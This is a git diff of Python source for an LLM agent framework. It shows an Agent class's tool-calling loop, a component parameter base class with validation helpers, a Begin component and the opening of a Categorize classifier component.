+ "context": {
+ "type": "string",
+ "description": (
+ "All relevant background information, prior facts, decisions, "
+ "and state needed by the agent to solve the current query. "
+ "Should be as detailed and self-contained as possible."
+ ),
+ "required": True
+ },
+ }
+ }
+ super().__init__()
+ self.function_name = "agent"
+ self.tools = []
+ self.mcp = []
+ self.max_rounds = 5
+ self.description = ""
+
+
+class Agent(LLM, ToolBase):
+ component_name = "Agent"
+
+ def __init__(self, canvas, id, param: LLMParam):
+ LLM.__init__(self, canvas, id, param)
+ self.tools = {}
+ for cpn in self._param.tools:
+ cpn = self._load_tool_obj(cpn)
+ self.tools[cpn.get_meta()["function"]["name"]] = cpn
+
+ self.chat_mdl = LLMBundle(self._canvas.get_tenant_id(), TenantLLMService.llm_id2llm_type(self._param.llm_id), self._param.llm_id,
+ max_retries=self._param.max_retries,
+ retry_interval=self._param.delay_after_error,
+ max_rounds=self._param.max_rounds,
+ verbose_tool_use=True
+ )
+ self.tool_meta = [v.get_meta() for _,v in self.tools.items()]
+
+ for mcp in self._param.mcp:
+ _, mcp_server = MCPServerService.get_by_id(mcp["mcp_id"])
+ tool_call_session = MCPToolCallSession(mcp_server, mcp_server.variables)
+ for tnm, meta in mcp["tools"].items():
+ self.tool_meta.append(mcp_tool_metadata_to_openai_tool(meta))
+ self.tools[tnm] = tool_call_session
+ self.callback = partial(self._canvas.tool_use_callback, id)
+ self.toolcall_session = LLMToolPluginCallSession(self.tools, self.callback)
+ #self.chat_mdl.bind_tools(self.toolcall_session, self.tool_metas)
+
+ def _load_tool_obj(self, cpn: dict) -> object:
+ from agent.component import component_class
+ param = component_class(cpn["component_name"] + "Param")()
+ param.update(cpn["params"])
+ try:
+ param.check()
+ except Exception as e:
+ self.set_output("_ERROR", cpn["component_name"] + f" configuration error: {e}")
+ raise
+ cpn_id = f"{self._id}-->" + cpn.get("name", "").replace(" ", "_")
+ return component_class(cpn["component_name"])(self._canvas, cpn_id, param)
+
+ def get_meta(self) -> dict[str, Any]:
+ self._param.function_name= self._id.split("-->")[-1]
+ m = super().get_meta()
+ if hasattr(self._param, "user_prompt") and self._param.user_prompt:
+ m["function"]["parameters"]["properties"]["user_prompt"] = self._param.user_prompt
+ return m
+
+ def get_input_form(self) -> dict[str, dict]:
+ res = {}
+ for k, v in self.get_input_elements().items():
+ res[k] = {
+ "type": "line",
+ "name": v["name"]
+ }
+ for cpn in self._param.tools:
+ if not isinstance(cpn, LLM):
+ continue
+ res.update(cpn.get_input_form())
+ return res
+
+ @timeout(int(os.environ.get("COMPONENT_EXEC_TIMEOUT", 20*60)))
+ def _invoke(self, **kwargs):
+ if kwargs.get("user_prompt"):
+ usr_pmt = ""
+ if kwargs.get("reasoning"):
+ usr_pmt += "\nREASONING:\n{}\n".format(kwargs["reasoning"])
+ if kwargs.get("context"):
+ usr_pmt += "\nCONTEXT:\n{}\n".format(kwargs["context"])
+ if usr_pmt:
+ usr_pmt += "\nQUERY:\n{}\n".format(str(kwargs["user_prompt"]))
+ else:
+ usr_pmt = str(kwargs["user_prompt"])
+ self._param.prompts = [{"role": "user", "content": usr_pmt}]
+
+ if not self.tools:
+ return LLM._invoke(self, **kwargs)
+
+ prompt, msg, user_defined_prompt = self._prepare_prompt_variables()
+
+ downstreams = self._canvas.get_component(self._id)["downstream"] if self._canvas.get_component(self._id) else []
+ ex = self.exception_handler()
+ if any([self._canvas.get_component_obj(cid).component_name.lower()=="message" for cid in downstreams]) and not self._param.output_structure and not (ex and ex["goto"]):
+ self.set_output("content", partial(self.stream_output_with_tools, prompt, msg, user_defined_prompt))
+ return
+
+ _, msg = message_fit_in([{"role": "system", "content": prompt}, *msg], int(self.chat_mdl.max_length * 0.97))
+ use_tools = []
+ ans = ""
+ for delta_ans, tk in self._react_with_tools_streamly(prompt, msg, use_tools, user_defined_prompt):
+ ans += delta_ans
+
+ if ans.find("**ERROR**") >= 0:
+ logging.error(f"Agent._chat got error. response: {ans}")
+ if self.get_exception_default_value():
+ self.set_output("content", self.get_exception_default_value())
+ else:
+ self.set_output("_ERROR", ans)
+ return
+
+ self.set_output("content", ans)
+ if use_tools:
+ self.set_output("use_tools", use_tools)
+ return ans
+
+ def stream_output_with_tools(self, prompt, msg, user_defined_prompt={}):
+ _, msg = message_fit_in([{"role": "system", "content": prompt}, *msg], int(self.chat_mdl.max_length * 0.97))
+ answer_without_toolcall = ""
+ use_tools = []
+ for delta_ans,_ in self._react_with_tools_streamly(prompt, msg, use_tools, user_defined_prompt):
+ if delta_ans.find("**ERROR**") >= 0:
+ if self.get_exception_default_value():
+ self.set_output("content", self.get_exception_default_value())
+ yield self.get_exception_default_value()
+ else:
+ self.set_output("_ERROR", delta_ans)
+ answer_without_toolcall += delta_ans
+ yield delta_ans
+
+ self.set_output("content", answer_without_toolcall)
+ if use_tools:
+ self.set_output("use_tools", use_tools)
+
+ def _gen_citations(self, text):
+ retrievals = self._canvas.get_reference()
+ retrievals = {"chunks": list(retrievals["chunks"].values()), "doc_aggs": list(retrievals["doc_aggs"].values())}
+ formated_refer = kb_prompt(retrievals, self.chat_mdl.max_length, True)
+ for delta_ans in self._generate_streamly([{"role": "system", "content": citation_plus("\n\n".join(formated_refer))},
+ {"role": "user", "content": text}
+ ]):
+ yield delta_ans
+
+ def _react_with_tools_streamly(self, prompt, history: list[dict], use_tools, user_defined_prompt={}):
+ token_count = 0
+ tool_metas = self.tool_meta
+ hist = deepcopy(history)
+ last_calling = ""
+ if len(hist) > 3:
+ st = timer()
+ user_request = full_question(messages=history, chat_mdl=self.chat_mdl)
+ self.callback("Multi-turn conversation optimization", {}, user_request, elapsed_time=timer()-st)
+ else:
+ user_request = history[-1]["content"]
+
+ def use_tool(name, args):
+ nonlocal hist, use_tools, token_count,last_calling,user_request
+ logging.info(f"{last_calling=} == {name=}")
+ # Summarize of function calling
+ #if all([
+ # isinstance(self.toolcall_session.get_tool_obj(name), Agent),
+ # last_calling,
+ # last_calling != name
+ #]):
+ # self.toolcall_session.get_tool_obj(name).add2system_prompt(f"The chat history with other agents are as following: \n" + self.get_useful_memory(user_request, str(args["user_prompt"]),user_defined_prompt))
+ last_calling = name
+ tool_response = self.toolcall_session.tool_call(name, args)
+ use_tools.append({
+ "name": name,
+ "arguments": args,
+ "results": tool_response
+ })
+ # self.callback("add_memory", {}, "...")
+ #self.add_memory(hist[-2]["content"], hist[-1]["content"], name, args, str(tool_response), user_defined_prompt)
+
+ return name, tool_response
+
+ def complete():
+ nonlocal hist
+ need2cite = self._param.cite and self._canvas.get_reference()["chunks"] and self._id.find("-->") < 0
+ cited = False
+ if hist[0]["role"] == "system" and need2cite:
+ if len(hist) < 7:
+ hist[0]["content"] += citation_prompt()
+ cited = True
+ yield "", token_count
+
+ _hist = hist
+ if len(hist) > 12:
+ _hist = [hist[0], hist[1], *hist[-10:]]
+ entire_txt = ""
+ for delta_ans in self._generate_streamly(_hist):
+ if not need2cite or cited:
+ yield delta_ans, 0
+ entire_txt += delta_ans
+ if not need2cite or cited:
+ return
+
+ st = timer()
+ txt = ""
+ for delta_ans in self._gen_citations(entire_txt):
+ yield delta_ans, 0
+ txt += delta_ans
+
+ self.callback("gen_citations", {}, txt, elapsed_time=timer()-st)
+
+ def append_user_content(hist, content):
+ if hist[-1]["role"] == "user":
+ hist[-1]["content"] += content
+ else:
+ hist.append({"role": "user", "content": content})
+
+ st = timer()
+ task_desc = analyze_task(self.chat_mdl, prompt, user_request, tool_metas, user_defined_prompt)
+ self.callback("analyze_task", {}, task_desc, elapsed_time=timer()-st)
+ for _ in range(self._param.max_rounds + 1):
+ response, tk = next_step(self.chat_mdl, hist, tool_metas, task_desc, user_defined_prompt)
+ # self.callback("next_step", {}, str(response)[:256]+"...")
+ token_count += tk
+ hist.append({"role": "assistant", "content": response})
+ try:
+ functions = json_repair.loads(re.sub(r"```.*", "", response))
+ if not isinstance(functions, list):
+ raise TypeError(f"List should be returned, but `{functions}`")
+ for f in functions:
+ if not isinstance(f, dict):
+ raise TypeError(f"An object type should be returned, but `{f}`")
+ with ThreadPoolExecutor(max_workers=5) as executor:
+ thr = []
+ for func in functions:
+ name = func["name"]
+ args = func["arguments"]
+ if name == COMPLETE_TASK:
+ append_user_content(hist, f"Respond with a formal answer. FORGET(DO NOT mention) about `{COMPLETE_TASK}`. The language for the response MUST be as the same as the first user request.\n")
+ for txt, tkcnt in complete():
+ yield txt, tkcnt
+ return
+
+ thr.append(executor.submit(use_tool, name, args))
+
+ st = timer()
+ reflection = reflect(self.chat_mdl, hist, [th.result() for th in thr], user_defined_prompt)
+ append_user_content(hist, reflection)
+ self.callback("reflection", {}, str(reflection), elapsed_time=timer()-st)
+
+ except Exception as e:
+ logging.exception(msg=f"Wrong JSON argument format in LLM ReAct response: {e}")
+ e = f"\nTool call error, please correct the input parameter of response format and call it again.\n *** Exception ***\n{e}"
+ append_user_content(hist, str(e))
+
+ logging.warning( f"Exceed max rounds: {self._param.max_rounds}")
+ final_instruction = f"""
+{user_request}
+IMPORTANT: You have reached the conversation limit. Based on ALL the information and research you have gathered so far, please provide a DIRECT and COMPREHENSIVE final answer to the original request.
+Instructions:
+1. SYNTHESIZE all information collected during this conversation
+2. Provide a COMPLETE response using existing data - do not suggest additional research
+3. Structure your response as a FINAL DELIVERABLE, not a plan
+4. If information is incomplete, state what you found and provide the best analysis possible with available data
+5. DO NOT mention conversation limits or suggest further steps
+6. Focus on delivering VALUE with the information already gathered
+Respond immediately with your final comprehensive answer.
+ """
+ append_user_content(hist, final_instruction)
+
+ for txt, tkcnt in complete():
+ yield txt, tkcnt
+
+ def get_useful_memory(self, goal: str, sub_goal:str, topn=3, user_defined_prompt:dict={}) -> str:
+ # self.callback("get_useful_memory", {"topn": 3}, "...")
+ mems = self._canvas.get_memory()
+ rank = rank_memories(self.chat_mdl, goal, sub_goal, [summ for (user, assist, summ) in mems], user_defined_prompt)
+ try:
+ rank = json_repair.loads(re.sub(r"```.*", "", rank))[:topn]
+ mems = [mems[r] for r in rank]
+ return "\n\n".join([f"User: {u}\nAgent: {a}" for u, a,_ in mems])
+ except Exception as e:
+ logging.exception(e)
+
+ return "Error occurred."
+
+ def reset(self):
+ for k, cpn in self.tools.items():
+ cpn.reset()
+
diff --git a/agent/component/base.py b/agent/component/base.py
new file mode 100644
index 0000000..73f11ba
--- /dev/null
+++ b/agent/component/base.py
@@ -0,0 +1,564 @@
+#
+# Copyright 2024 The InfiniFlow Authors. All Rights Reserved.
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+# http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+#
+
+import re
+import time
+from abc import ABC
+import builtins
+import json
+import os
+import logging
+from typing import Any, List, Union
+import pandas as pd
+import trio
+from agent import settings
+from api.utils.api_utils import timeout
+
+
+_FEEDED_DEPRECATED_PARAMS = "_feeded_deprecated_params"
+_DEPRECATED_PARAMS = "_deprecated_params"
+_USER_FEEDED_PARAMS = "_user_feeded_params"
+_IS_RAW_CONF = "_is_raw_conf"
+
+
+class ComponentParamBase(ABC):
+ def __init__(self):
+ self.message_history_window_size = 13
+ self.inputs = {}
+ self.outputs = {}
+ self.description = ""
+ self.max_retries = 0
+ self.delay_after_error = 2.0
+ self.exception_method = None
+ self.exception_default_value = None
+ self.exception_goto = None
+ self.debug_inputs = {}
+
+ def set_name(self, name: str):
+ self._name = name
+ return self
+
+ def check(self):
+ raise NotImplementedError("Parameter Object should be checked.")
+
+ @classmethod
+ def _get_or_init_deprecated_params_set(cls):
+ if not hasattr(cls, _DEPRECATED_PARAMS):
+ setattr(cls, _DEPRECATED_PARAMS, set())
+ return getattr(cls, _DEPRECATED_PARAMS)
+
+ def _get_or_init_feeded_deprecated_params_set(self, conf=None):
+ if not hasattr(self, _FEEDED_DEPRECATED_PARAMS):
+ if conf is None:
+ setattr(self, _FEEDED_DEPRECATED_PARAMS, set())
+ else:
+ setattr(
+ self,
+ _FEEDED_DEPRECATED_PARAMS,
+ set(conf[_FEEDED_DEPRECATED_PARAMS]),
+ )
+ return getattr(self, _FEEDED_DEPRECATED_PARAMS)
+
+ def _get_or_init_user_feeded_params_set(self, conf=None):
+ if not hasattr(self, _USER_FEEDED_PARAMS):
+ if conf is None:
+ setattr(self, _USER_FEEDED_PARAMS, set())
+ else:
+ setattr(self, _USER_FEEDED_PARAMS, set(conf[_USER_FEEDED_PARAMS]))
+ return getattr(self, _USER_FEEDED_PARAMS)
+
+ def get_user_feeded(self):
+ return self._get_or_init_user_feeded_params_set()
+
+ def get_feeded_deprecated_params(self):
+ return self._get_or_init_feeded_deprecated_params_set()
+
+ @property
+ def _deprecated_params_set(self):
+ return {name: True for name in self.get_feeded_deprecated_params()}
+
+ def __str__(self):
+ return json.dumps(self.as_dict(), ensure_ascii=False)
+
+ def as_dict(self):
+ def _recursive_convert_obj_to_dict(obj):
+ ret_dict = {}
+ if isinstance(obj, dict):
+ for k,v in obj.items():
+ if isinstance(v, dict) or (v and type(v).__name__ not in dir(builtins)):
+ ret_dict[k] = _recursive_convert_obj_to_dict(v)
+ else:
+ ret_dict[k] = v
+ return ret_dict
+
+ for attr_name in list(obj.__dict__):
+ if attr_name in [_FEEDED_DEPRECATED_PARAMS, _DEPRECATED_PARAMS, _USER_FEEDED_PARAMS, _IS_RAW_CONF]:
+ continue
+ # get attr
+ attr = getattr(obj, attr_name)
+ if isinstance(attr, pd.DataFrame):
+ ret_dict[attr_name] = attr.to_dict()
+ continue
+ if isinstance(attr, dict) or (attr and type(attr).__name__ not in dir(builtins)):
+ ret_dict[attr_name] = _recursive_convert_obj_to_dict(attr)
+ else:
+ ret_dict[attr_name] = attr
+
+ return ret_dict
+
+ return _recursive_convert_obj_to_dict(self)
+
+ def update(self, conf, allow_redundant=False):
+ update_from_raw_conf = conf.get(_IS_RAW_CONF, True)
+ if update_from_raw_conf:
+ deprecated_params_set = self._get_or_init_deprecated_params_set()
+ feeded_deprecated_params_set = (
+ self._get_or_init_feeded_deprecated_params_set()
+ )
+ user_feeded_params_set = self._get_or_init_user_feeded_params_set()
+ setattr(self, _IS_RAW_CONF, False)
+ else:
+ feeded_deprecated_params_set = (
+ self._get_or_init_feeded_deprecated_params_set(conf)
+ )
+ user_feeded_params_set = self._get_or_init_user_feeded_params_set(conf)
+
+ def _recursive_update_param(param, config, depth, prefix):
+ if depth > settings.PARAM_MAXDEPTH:
+ raise ValueError("Param define nesting too deep!!!, can not parse it")
+
+ inst_variables = param.__dict__
+ redundant_attrs = []
+ for config_key, config_value in config.items():
+ # redundant attr
+ if config_key not in inst_variables:
+ if not update_from_raw_conf and config_key.startswith("_"):
+ setattr(param, config_key, config_value)
+ else:
+ setattr(param, config_key, config_value)
+ # redundant_attrs.append(config_key)
+ continue
+
+ full_config_key = f"{prefix}{config_key}"
+
+ if update_from_raw_conf:
+ # add user feeded params
+ user_feeded_params_set.add(full_config_key)
+
+ # update user feeded deprecated param set
+ if full_config_key in deprecated_params_set:
+ feeded_deprecated_params_set.add(full_config_key)
+
+ # supported attr
+ attr = getattr(param, config_key)
+ if type(attr).__name__ in dir(builtins) or attr is None:
+ setattr(param, config_key, config_value)
+
+ else:
+ # recursive set obj attr
+ sub_params = _recursive_update_param(
+ attr, config_value, depth + 1, prefix=f"{prefix}{config_key}."
+ )
+ setattr(param, config_key, sub_params)
+
+ if not allow_redundant and redundant_attrs:
+ raise ValueError(
+ f"cpn `{getattr(self, '_name', type(self))}` has redundant parameters: `{[redundant_attrs]}`"
+ )
+
+ return param
+
+ return _recursive_update_param(param=self, config=conf, depth=0, prefix="")
+
+ def extract_not_builtin(self):
+ def _get_not_builtin_types(obj):
+ ret_dict = {}
+ for variable in obj.__dict__:
+ attr = getattr(obj, variable)
+ if attr and type(attr).__name__ not in dir(builtins):
+ ret_dict[variable] = _get_not_builtin_types(attr)
+
+ return ret_dict
+
+ return _get_not_builtin_types(self)
+
+ def validate(self):
+ self.builtin_types = dir(builtins)
+ self.func = {
+ "ge": self._greater_equal_than,
+ "le": self._less_equal_than,
+ "in": self._in,
+ "not_in": self._not_in,
+ "range": self._range,
+ }
+ home_dir = os.path.abspath(os.path.dirname(os.path.realpath(__file__)))
+ param_validation_path_prefix = home_dir + "/param_validation/"
+
+ param_name = type(self).__name__
+ param_validation_path = "/".join(
+ [param_validation_path_prefix, param_name + ".json"]
+ )
+
+ validation_json = None
+
+ try:
+ with open(param_validation_path, "r") as fin:
+ validation_json = json.loads(fin.read())
+ except BaseException:
+ return
+
+ self._validate_param(self, validation_json)
+
+ def _validate_param(self, param_obj, validation_json):
+ default_section = type(param_obj).__name__
+ var_list = param_obj.__dict__
+
+ for variable in var_list:
+ attr = getattr(param_obj, variable)
+
+ if type(attr).__name__ in self.builtin_types or attr is None:
+ if variable not in validation_json:
+ continue
+
+ validation_dict = validation_json[default_section][variable]
+ value = getattr(param_obj, variable)
+ value_legal = False
+
+ for op_type in validation_dict:
+ if self.func[op_type](value, validation_dict[op_type]):
+ value_legal = True
+ break
+
+ if not value_legal:
+ raise ValueError(
+ "Please check runtime conf, {} = {} does not match user-parameter restriction".format(
+ variable, value
+ )
+ )
+
+ elif variable in validation_json:
+ self._validate_param(attr, validation_json)
+
+ @staticmethod
+ def check_string(param, descr):
+ if type(param).__name__ not in ["str"]:
+ raise ValueError(
+ descr + " {} not supported, should be string type".format(param)
+ )
+
+ @staticmethod
+ def check_empty(param, descr):
+ if not param:
+ raise ValueError(
+ descr + " does not support empty value."
+ )
+
+ @staticmethod
+ def check_positive_integer(param, descr):
+ if type(param).__name__ not in ["int", "long"] or param <= 0:
+ raise ValueError(
+ descr + " {} not supported, should be positive integer".format(param)
+ )
+
+ @staticmethod
+ def check_positive_number(param, descr):
+ if type(param).__name__ not in ["float", "int", "long"] or param <= 0:
+ raise ValueError(
+ descr + " {} not supported, should be positive numeric".format(param)
+ )
+
+ @staticmethod
+ def check_nonnegative_number(param, descr):
+ if type(param).__name__ not in ["float", "int", "long"] or param < 0:
+ raise ValueError(
+ descr
+ + " {} not supported, should be non-negative numeric".format(param)
+ )
+
+ @staticmethod
+ def check_decimal_float(param, descr):
+ if type(param).__name__ not in ["float", "int"] or param < 0 or param > 1:
+ raise ValueError(
+ descr
+ + " {} not supported, should be a float number in range [0, 1]".format(
+ param
+ )
+ )
+
+ @staticmethod
+ def check_boolean(param, descr):
+ if type(param).__name__ != "bool":
+ raise ValueError(
+ descr + " {} not supported, should be bool type".format(param)
+ )
+
+ @staticmethod
+ def check_open_unit_interval(param, descr):
+ if type(param).__name__ not in ["float"] or param <= 0 or param >= 1:
+ raise ValueError(
+ descr + " should be a numeric number between 0 and 1 exclusively"
+ )
+
+ @staticmethod
+ def check_valid_value(param, descr, valid_values):
+ if param not in valid_values:
+ raise ValueError(
+ descr
+ + " {} is not supported, it should be in {}".format(param, valid_values)
+ )
+
+ @staticmethod
+ def check_defined_type(param, descr, types):
+ if type(param).__name__ not in types:
+ raise ValueError(
+ descr + " {} not supported, should be one of {}".format(param, types)
+ )
+
+ @staticmethod
+ def check_and_change_lower(param, valid_list, descr=""):
+ if type(param).__name__ != "str":
+ raise ValueError(
+ descr
+ + " {} not supported, should be one of {}".format(param, valid_list)
+ )
+
+ lower_param = param.lower()
+ if lower_param in valid_list:
+ return lower_param
+ else:
+ raise ValueError(
+ descr
+ + " {} not supported, should be one of {}".format(param, valid_list)
+ )
+
+ @staticmethod
+ def _greater_equal_than(value, limit):
+ return value >= limit - settings.FLOAT_ZERO
+
+ @staticmethod
+ def _less_equal_than(value, limit):
+ return value <= limit + settings.FLOAT_ZERO
+
+ @staticmethod
+ def _range(value, ranges):
+ in_range = False
+ for left_limit, right_limit in ranges:
+ if (
+ left_limit - settings.FLOAT_ZERO
+ <= value
+ <= right_limit + settings.FLOAT_ZERO
+ ):
+ in_range = True
+ break
+
+ return in_range
+
+ @staticmethod
+ def _in(value, right_value_list):
+ return value in right_value_list
+
+ @staticmethod
+ def _not_in(value, wrong_value_list):
+ return value not in wrong_value_list
+
+ def _warn_deprecated_param(self, param_name, descr):
+ if self._deprecated_params_set.get(param_name):
+ logging.warning(
+ f"{descr} {param_name} is deprecated and ignored in this version."
+ )
+
+ def _warn_to_deprecate_param(self, param_name, descr, new_param):
+ if self._deprecated_params_set.get(param_name):
+ logging.warning(
+ f"{descr} {param_name} will be deprecated in future release; "
+ f"please use {new_param} instead."
+ )
+ return True
+ return False
+
+
+class ComponentBase(ABC):
+ component_name: str
+ thread_limiter = trio.CapacityLimiter(int(os.environ.get('MAX_CONCURRENT_CHATS', 10)))
+ variable_ref_patt = r"\{* *\{([a-zA-Z:0-9]+@[A-Za-z:0-9_.-]+|sys\.[a-z_]+)\} *\}*"
+
+ def __str__(self):
+ """
+ {
+ "component_name": "Begin",
+ "params": {}
+ }
+ """
+ return """{{
+ "component_name": "{}",
+ "params": {}
+ }}""".format(self.component_name,
+ self._param
+ )
+
+ def __init__(self, canvas, id, param: ComponentParamBase):
+ from agent.canvas import Graph # Local import to avoid cyclic dependency
+ assert isinstance(canvas, Graph), "canvas must be an instance of Canvas"
+ self._canvas = canvas
+ self._id = id
+ self._param = param
+ self._param.check()
+
+ def invoke(self, **kwargs) -> dict[str, Any]:
+ self.set_output("_created_time", time.perf_counter())
+ try:
+ self._invoke(**kwargs)
+ except Exception as e:
+ if self.get_exception_default_value():
+ self.set_exception_default_value()
+ else:
+ self.set_output("_ERROR", str(e))
+ logging.exception(e)
+ self._param.debug_inputs = {}
+ self.set_output("_elapsed_time", time.perf_counter() - self.output("_created_time"))
+ return self.output()
+
+ @timeout(int(os.environ.get("COMPONENT_EXEC_TIMEOUT", 10*60)))
+ def _invoke(self, **kwargs):
+ raise NotImplementedError()
+
+ def output(self, var_nm: str=None) -> Union[dict[str, Any], Any]:
+ if var_nm:
+ return self._param.outputs.get(var_nm, {}).get("value", "")
+ return {k: o.get("value") for k,o in self._param.outputs.items()}
+
+ def set_output(self, key: str, value: Any):
+ if key not in self._param.outputs:
+ self._param.outputs[key] = {"value": None, "type": str(type(value))}
+ self._param.outputs[key]["value"] = value
+
+ def error(self):
+ return self._param.outputs.get("_ERROR", {}).get("value")
+
+ def reset(self, only_output=False):
+ for k in self._param.outputs.keys():
+ self._param.outputs[k]["value"] = None
+ if only_output:
+ return
+ for k in self._param.inputs.keys():
+ self._param.inputs[k]["value"] = None
+ self._param.debug_inputs = {}
+
+ def get_input(self, key: str=None) -> Union[Any, dict[str, Any]]:
+ if key:
+ return self._param.inputs.get(key, {}).get("value")
+
+ res = {}
+ for var, o in self.get_input_elements().items():
+ v = self.get_param(var)
+ if v is None:
+ continue
+ if isinstance(v, str) and self._canvas.is_reff(v):
+ self.set_input_value(var, self._canvas.get_variable_value(v))
+ else:
+ self.set_input_value(var, v)
+ res[var] = self.get_input_value(var)
+ return res
+
+ def get_input_values(self) -> Union[Any, dict[str, Any]]:
+ if self._param.debug_inputs:
+ return self._param.debug_inputs
+
+ return {var: self.get_input_value(var) for var, o in self.get_input_elements().items()}
+
+ def get_input_elements_from_text(self, txt: str) -> dict[str, dict[str, str]]:
+ res = {}
+ for r in re.finditer(self.variable_ref_patt, txt, flags=re.IGNORECASE|re.DOTALL):
+ exp = r.group(1)
+ cpn_id, var_nm = exp.split("@") if exp.find("@")>0 else ("", exp)
+ res[exp] = {
+ "name": (self._canvas.get_component_name(cpn_id) +f"@{var_nm}") if cpn_id else exp,
+ "value": self._canvas.get_variable_value(exp),
+ "_retrival": self._canvas.get_variable_value(f"{cpn_id}@_references") if cpn_id else None,
+ "_cpn_id": cpn_id
+ }
+ return res
+
+ def get_input_elements(self) -> dict[str, Any]:
+ return self._param.inputs
+
+ def get_input_form(self) -> dict[str, dict]:
+ return self._param.get_input_form()
+
+ def set_input_value(self, key: str, value: Any) -> None:
+ if key not in self._param.inputs:
+ self._param.inputs[key] = {"value": None}
+ self._param.inputs[key]["value"] = value
+
+ def get_input_value(self, key: str) -> Any:
+ if key not in self._param.inputs:
+ return None
+ return self._param.inputs[key].get("value")
+
+ def get_component_name(self, cpn_id) -> str:
+ return self._canvas.get_component(cpn_id)["obj"].component_name.lower()
+
+ def get_param(self, name):
+ if hasattr(self._param, name):
+ return getattr(self._param, name)
+
+ def debug(self, **kwargs):
+ return self._invoke(**kwargs)
+
+ def get_parent(self) -> Union[object, None]:
+ pid = self._canvas.get_component(self._id).get("parent_id")
+ if not pid:
+ return
+ return self._canvas.get_component(pid)["obj"]
+
+ def get_upstream(self) -> List[str]:
+ cpn_nms = self._canvas.get_component(self._id)['upstream']
+ return cpn_nms
+
+ def get_downstream(self) -> List[str]:
+ cpn_nms = self._canvas.get_component(self._id)['downstream']
+ return cpn_nms
+
+ @staticmethod
+ def string_format(content: str, kv: dict[str, str]) -> str:
+ for n, v in kv.items():
+ def repl(_match, val=v):
+ return str(val) if val is not None else ""
+ content = re.sub(
+ r"\{%s\}" % re.escape(n),
+ repl,
+ content
+ )
+ return content
+
+ def exception_handler(self):
+ if not self._param.exception_method:
+ return
+ return {
+ "goto": self._param.exception_goto,
+ "default_value": self._param.exception_default_value
+ }
+
+ def get_exception_default_value(self):
+ if self._param.exception_method != "comment":
+ return ""
+ return self._param.exception_default_value
+
+ def set_exception_default_value(self):
+ self.set_output("result", self.get_exception_default_value())
+
+ def thoughts(self) -> str:
+ raise NotImplementedError()
diff --git a/agent/component/begin.py b/agent/component/begin.py
new file mode 100644
index 0000000..159f0f5
--- /dev/null
+++ b/agent/component/begin.py
@@ -0,0 +1,52 @@
+#
+# Copyright 2024 The InfiniFlow Authors. All Rights Reserved.
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+# http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+#
+from agent.component.fillup import UserFillUpParam, UserFillUp
+
+
+class BeginParam(UserFillUpParam):
+
+ """
+ Define the Begin component parameters.
+ """
+ def __init__(self):
+ super().__init__()
+ self.mode = "conversational"
+ self.prologue = "Hi! I'm your smart assistant. What can I do for you?"
+
+ def check(self):
+ self.check_valid_value(self.mode, "The 'mode' should be either `conversational` or `task`", ["conversational", "task"])
+
+ def get_input_form(self) -> dict[str, dict]:
+ return getattr(self, "inputs")
+
+
+class Begin(UserFillUp):
+ component_name = "Begin"
+
+ def _invoke(self, **kwargs):
+ for k, v in kwargs.get("inputs", {}).items():
+ if isinstance(v, dict) and v.get("type", "").lower().find("file") >=0:
+ if v.get("optional") and v.get("value", None) is None:
+ v = None
+ else:
+ v = self._canvas.get_files([v["value"]])
+ else:
+ v = v.get("value")
+ self.set_output(k, v)
+ self.set_input_value(k, v)
+
+ def thoughts(self) -> str:
+ return ""
diff --git a/agent/component/categorize.py b/agent/component/categorize.py
new file mode 100644
index 0000000..af2666f
--- /dev/null
+++ b/agent/component/categorize.py
@@ -0,0 +1,137 @@
+#
+# Copyright 2024 The InfiniFlow Authors. All Rights Reserved.
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+# http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+#
+import logging
+import os
+import re
+from abc import ABC
+
+from api.db import LLMType
+from api.db.services.llm_service import LLMBundle
+from agent.component.llm import LLMParam, LLM
+from api.utils.api_utils import timeout
+from rag.llm.chat_model import ERROR_PREFIX
+
+
+class CategorizeParam(LLMParam):
+
+ """
+ Define the categorize component parameters.
+ """
+ def __init__(self):
+ super().__init__()
+ self.category_description = {}
+ self.query = "sys.query"
+ self.message_history_window_size = 1
+ self.update_prompt()
+
+ def check(self):
+ self.check_positive_integer(self.message_history_window_size, "[Categorize] Message window size > 0")
+ self.check_empty(self.category_description, "[Categorize] Category examples")
+ for k, v in self.category_description.items():
+ if not k:
+ raise ValueError("[Categorize] Category name can not be empty!")
+ if not v.get("to"):
+ raise ValueError(f"[Categorize] 'To' of category {k} can not be empty!")
+
+ def get_input_form(self) -> dict[str, dict]:
+ return {
+ "query": {
+ "type": "line",
+ "name": "Query"
+ }
+ }
+
+ def update_prompt(self):
+ cate_lines = []
+ for c, desc in self.category_description.items():
+ for line in desc.get("examples", []):
+ if not line:
+ continue
+ cate_lines.append("USER: \"" + re.sub(r"\n", " ", line, flags=re.DOTALL) + "\" → "+c)
+
+ descriptions = []
+ for c, desc in self.category_description.items():
+ if desc.get("description"):
+ descriptions.append(
+ "\n------\nCategory: {}\nDescription: {}".format(c, desc["description"]))
+
+ self.sys_prompt = """
+You are an advanced classification system that categorizes user questions into specific types. Analyze the input question and classify it into ONE of the following categories:
+{}
+
+Here's description of each category:
+ - {}
+
+---- Instructions ----
+ - Consider both explicit mentions and implied context
+ - Prioritize the most specific applicable category
+ - Return only the category name without explanations
+ - Use "Other" only when no other category fits
+
+ """.format(
+ "\n - ".join(list(self.category_description.keys())),
+ "\n".join(descriptions)
+ )
+
+ if cate_lines:
+ self.sys_prompt += """
+---- Examples ----
+{}
+""".format("\n".join(cate_lines))
+
+
+class Categorize(LLM, ABC):
